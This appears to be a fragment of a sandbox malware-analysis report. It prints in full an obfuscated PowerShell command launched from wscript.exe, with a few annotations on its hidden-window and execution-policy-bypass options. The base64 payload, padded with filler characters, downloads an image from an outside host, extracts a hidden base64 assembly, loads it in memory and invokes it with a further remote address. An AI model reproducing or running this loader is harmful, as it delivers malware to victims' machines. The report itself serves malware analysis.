DQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░KQ░░░7░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBS░░░GU░░░ZgBs░░░GU░░░YwB0░░░Gk░░░bwBu░░░C4░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░F0░░░Og░░░6░░░Ew░░░bwBh░░░GQ░░░K░░░░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HQ░░░eQBw░░░GU░░░I░░░░░░9░░░C░░░░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░LgBH░░░GU░░░d░░░BU░░░Hk░░░c░░░Bl░░░Cg░░░JwBG░░░Gk░░░YgBl░░░HI░░░LgBI░░░G8░░░bQBl░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░B0░░░Hk░░░c░░░Bl░░░C4░░░RwBl░░░HQ░░░TQBl░░░HQ░░░a░░░Bv░░░GQ░░░K░░░░░░n░░░FY░░░QQBJ░░░Cc░░░KQ░░░7░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░I░░░░░░9░░░C░░░░░░L░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgBp░░░Gs░░░bwBs░░░G8░░░dwBn░░░HU░░░dwBr░░░G8░░░egBr░░░GY░░░ZwBq░░░Gs░░░a░░░Bm░░░Gs░░░a░░░Bm░░░Gs░░░ZwBo░░░Go░░░ZgBi░░░GQ░░░ag░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
parent_process wscript.exe martian_process powershell -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░DY░░░Mw░░░v░░░DY░░░Mg░░░x░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░dQBu░░░Gk░░░dgBl░░░HI░░░cwBv░░░F8░░░dgBi░░░HM░░░LgBq░░░H░░░░░░ZQBn░░░D8░░░MQ░░░2░░░Dk░░░M░░░░░░5░░░DM░░░MQ░░░4░░░DU░░░NQ░░░n░░░Ds░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░g░░░D0░░░I░░░BO░░░GU░░░dw░░░t░░░E8░░░YgBq░░░GU░░░YwB0░░░C░░░░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBO░░░GU░░░d░░░░░░u░░░Fc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░LgBE░░░G8░░░dwBu░░░Gw░░░bwBh░░░GQ░░░R░░░Bh░░░HQ░░░YQ░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FU░░░cgBs░░░Ck░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBU░░░GU░░░e░░░B0░░░C4░░░RQBu░░░GM░░░bwBk░░░Gk░░░bgBn░░░F0░░░Og░░░6░░░FU░░░V░░░BG░░░Dg░░░LgBH░░░GU░░░d░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░FM░░░V░░░BB░░░FI░░░V░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░g░░░D0░░░I░░░░░░n░░░Dw░░░P░░░BC░░░EE░░░UwBF░░░DY░░░N░░░Bf░░░EU░░░TgBE░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwBl░░░C░░░░░░M░░░░░░g░░░C0░░░YQBu░░░GQ░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░ZwB0░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░Kw░░░9░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░RgBs░░░GE░░░Zw░░░u░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░g░░░D0░░░I░░░░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░C0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░FM░░░dQBi░░░HM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Cw░░░I░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░Ck░░░Ow░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBD░░░G8░░░bgB2░░░GU░░░cgB0░░░F0░░░Og░░░6░░░EY░░░cgBv░░░G0░░░QgBh░░░HM░░░ZQ░░░2░░░DQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░EM░░░bwBt░░░G0░░░YQBu░░░GQ░░░KQ░░░7░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C░░░░░░PQ░░░g░░░Fs░░░UwB5░░░HM░░░d░░░Bl░░░G0░░░LgBS░░░GU░░░ZgBs░░░GU░░░YwB0░░░Gk░░░bwBu░░░C4░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░F0░░░Og░░░6░░░Ew░░░bwBh░░░GQ░░░K░░░░░░k░░░GM░░░bwBt░░░G0░░░YQBu░░░GQ░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HQ░░░eQBw░░░GU░░░I░░░░░░9░░░C░░░░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░LgBH░░░GU░░░d░░░BU░░░Hk░░░c░░░Bl░░░Cg░░░JwBG░░░Gk░░░YgBl░░░HI░░░LgBI░░░G8░░░bQBl░░░Cc░░░KQ░░░7░░░CQ░░░bQBl░░░HQ░░░a░░░Bv░░░GQ░░░I░░░░░░9░░░C░░░░░░J░░░B0░░░Hk░░░c░░░Bl░░░C4░░░RwBl░░░HQ░░░TQBl░░░HQ░░░a░░░Bv░░░GQ░░░K░░░░░░n░░░FY░░░QQBJ░░░Cc░░░KQ░░░7░░░CQ░░░YQBy░░░Gc░░░dQBt░░░GU░░░bgB0░░░HM░░░I░░░░░░9░░░C░░░░░░L░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgBp░░░Gs░░░bwBs░░░G8░░░dwBn░░░HU░░░dwBr░░░G8░░░egBr░░░GY░░░ZwBq░░░Gs░░░a░░░Bm░░░Gs░░░a░░░Bm░░░Gs░░░ZwBo░░░Go░░░ZgBi░░░GQ░░░ag░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe